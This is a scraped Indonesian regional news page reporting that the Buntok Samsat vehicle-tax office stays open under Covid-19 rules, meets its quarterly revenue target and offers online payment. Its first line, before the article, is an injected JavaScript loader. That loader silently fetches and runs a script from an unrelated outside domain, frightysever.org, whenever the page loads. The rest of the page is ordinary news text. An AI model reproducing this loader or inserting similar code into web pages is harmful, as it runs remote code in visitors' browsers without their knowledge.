(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

Pakai SOP Covid-19, UPT PPD Buntok Tetap Operasional Beri Pelayanan Masyarakat


KANALKALIMANTAN.COM, BUNTOK – Meski saat ini Kabupaten Barsel berstatus zona merah Covid-19, namun sejumlah pelayanan dalam Unit Pelayanan Teknis Pelayanan Pendapatan Daerah (UPT PPD) atau Samsat Buntok tetap berjalan sesuai Standar Pelayanan Oprasional (SOP).

Kepala UPT PDD Trisnawati SE mengatakan, untuk pelayanan di samsat Buntok saat pandemi Covid-19 tetap berjalan normal. Namun dilaksanakan sesuai SOP yakni sesuai dengan anjuran pemerintah terkait jaga jarak baik antara petugas Samsat maupun pengunjung.

“Jadi kita tetap melakukan pelayanan seperti biasanya namun sekarang lebih menyesuaikan seperti anjuran Pemerintah, yakni dilakukan sesuai SOP sekarang,” kata Trisnawati kepada Kanalkalimantan.com, di kantornya Selasa (28/4/2020).

Dijelaskan olehnya, para pemohonan yang datang untuk mengurus izin akan dilakukan pengecekan suhu memakai alat termogan. Selain itu disediakannya alat cuci tangan dan hand sanitizer dan para pemohon juga dilakukan jarak saat menunggu proses pelayanan. “Jadi dari tempat cuci tangan dan antis kita sediakan, selain itu pemohon juga dilakukan pengecekan suhu tubuh serta saat menunggu proses dilakukan jarak sesama pemohon lain,” beber Trisnawati.

Lebih lanjut olehnya untuk capain target realisasi penerimaan UPT PDD pada tri wulan pertama tahun 2020 ini masih bisa dibilang mencapai target untuk samsat Buntok sendiri. Yakni 31,55% tidak jauh dengan capain target yang ditargetkan oleh samsat Buntok. “Jadi walaupun ditengah pandemi covid-19, untuk capain target kita pada tri wulan pertama masih bisa dibilang mencapai target yang di inginkan,” ujar Trisnawati.

Ditambahkan olehnya selain pelaksanaan pembayaran pajak langsung ke Samsat Buntok, pihaknya juga telah membuka pelayanan Samsat Online atau Samolnas jadi pemohon tidak usah sampai antri lagi nanun bisa lakukan proses pembayaran dengan sistem online.

“Jadi kita juga telah membuka sistem online sehingga pemohon bisa mengurus pajaknya lewat online dan tidak perlu ikut antri melakukan pemohonan pembayaran pajak,” pungkas Trisnawati.(kanalkalimantan.com/digdo)

 

Reporter : Digdo
Editor : Cell

 


Desy Arfianty

Recent Posts

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

21 menit ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

1 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

2 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

2 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

2 jam ago

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

10 jam ago

This website uses cookies.